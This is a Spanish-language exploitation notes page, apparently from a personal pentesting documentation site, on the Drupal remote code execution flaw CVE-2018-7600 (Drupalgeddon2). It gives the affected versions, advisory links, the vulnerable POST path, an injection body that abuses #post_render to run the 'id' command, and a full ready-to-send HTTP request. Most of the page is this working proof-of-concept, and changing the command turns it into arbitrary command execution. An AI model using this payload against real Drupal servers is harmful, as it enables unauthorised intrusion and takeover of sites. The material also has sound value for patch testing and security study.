> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/cms/drupal/rce-cve-2018-7600.md).

# RCE - CVE-2018-7600

Drupal Core Remote Code Execution Vulnerability (RCE) - Drupalgeddon2

{% hint style="info" %}
Enlaces sobre la vulnerabilidad:

1. <https://nvd.nist.gov/vuln/detail/cve-2018-7600>
2. <https://www.ccn-cert.cni.es/en/gestion-de-incidentes/lucia/67-avisos-ccn-cert/6105-ccn-cert-av-13-18-publicada-la-prueba-de-concepto-poc-que-permite-explotar-la-vulnerabilidad-cve-2018-7600-de-drupal.html>
3. <https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2018-7600>
   {% endhint %}

Esta vulnerabilidad consiste en una Ejecución Remota de Comandos, afecta a las versiones anteriores a la 7.58, 8.x anteriores a la 8.3.9, 8.4.x anteriores a la 8.4.6 y 8.5.x anteriores a la 8.5.1.

Este codigo, se consigue ejecutar mediante una petición por POST a esta ruta:

```
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
```

Añadiendo en ella esta solicitud, en la que al final se ejecuta el comando "id" en la maquina:

{% code overflow="wrap" %}

```
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
```

{% endcode %}

{% code title="PoC - CVE-2018-7600" %}

```
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: replace_host
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
```

{% endcode %}

{% hint style="danger" %}
Existen Pruebas de Concepto (Proof of Concept - PoC) disponibles:

1. <https://www.exploit-db.com/search?cve=2018-7600>
2. <https://github.com/zhzyker/CVE-2018-7600-Drupal-POC-EXP/tree/master>
3. <https://github.com/a2u/CVE-2018-7600>
   {% endhint %}